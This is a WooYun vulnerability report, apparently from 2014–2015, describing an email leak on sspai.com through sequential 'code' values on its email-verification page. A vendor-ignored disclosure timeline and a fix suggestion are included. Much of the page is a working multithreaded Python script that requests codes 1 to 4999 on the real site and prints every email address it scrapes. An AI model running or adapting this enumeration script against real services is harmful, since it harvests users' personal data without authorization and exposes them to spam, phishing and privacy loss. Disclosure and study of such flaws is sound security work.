少数派用户邮箱泄露(附验证脚本) | wooyun-2014-088772

漏洞概要关注数(24) 关注此漏洞

缺陷编号：

wooyun-2014-088772

漏洞标题：

少数派用户邮箱泄露(附验证脚本)

漏洞详情

披露状态：

2014-12-29：积极联系厂商并且等待厂商认领中，细节不对外公开
2015-02-12：厂商已经主动忽略漏洞，细节向公众公开

简要描述：

少数派-发现优质应用

详细说明：

url：

sspai.com/account/emailsuccess?code=1

发送验证邮件的时候未进行校验邮箱是否激活，通过遍历可获取所有用户邮箱

修改了白帽子Morker的脚本，试了一下

漏洞证明：

验证脚本:

#!/usr/bin/env python
#coding:utf-8
import threading
import re,time
import requests
from Queue import Queue
def getUrl():
    url = []
    for i in xrange(1,5000): 
        page = "http://sspai.com/account/emailsuccess?code=" + str(i)
        url.append(page)
    print "---------------Scan starting---------------"
    return url
class GetMail(threading.Thread):
    def __init__(self,queue):
        threading.Thread.__init__(self)
        self.queue = queue
        self.headers = {'User-Agent' : 'Mozilla/5.0;'}
        self.key = re.compile(r'(\w+.*?@.*? )')
        self.start()
    def run(self):
        while True:
            if con.acquire():
                if self.queue.empty():
                    con.release()
                    break
                else:
                    page = self.queue.get()
                    code = requests.get(page,headers=self.headers).text
                    mail = self.key.findall(code)
                    if len(mail) == 1:
                        print mail[0]
                    else:
                        pass
                con.release()
con = threading.Lock()
def main():
    threads = []
    pages = getUrl()
    queue = Queue()
    for i in range(len(pages)):
        queue.put(pages[i])
    for i in range(50):
        t = GetMail(queue)
        threads.append(t)
    for i in threads:
        i.join()
    print "---------------Scan ebding---------------"
if __name__ == "__main__":
    main()

修复方案：

增加权限验证，搞一个未激活用户，然后登录后才可以发送验证邮件，或者加密防止被猜出大量url地址

版权声明：转载请注明来源 orange@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

WooYun.org

漏洞概要 关注数(24) 关注此漏洞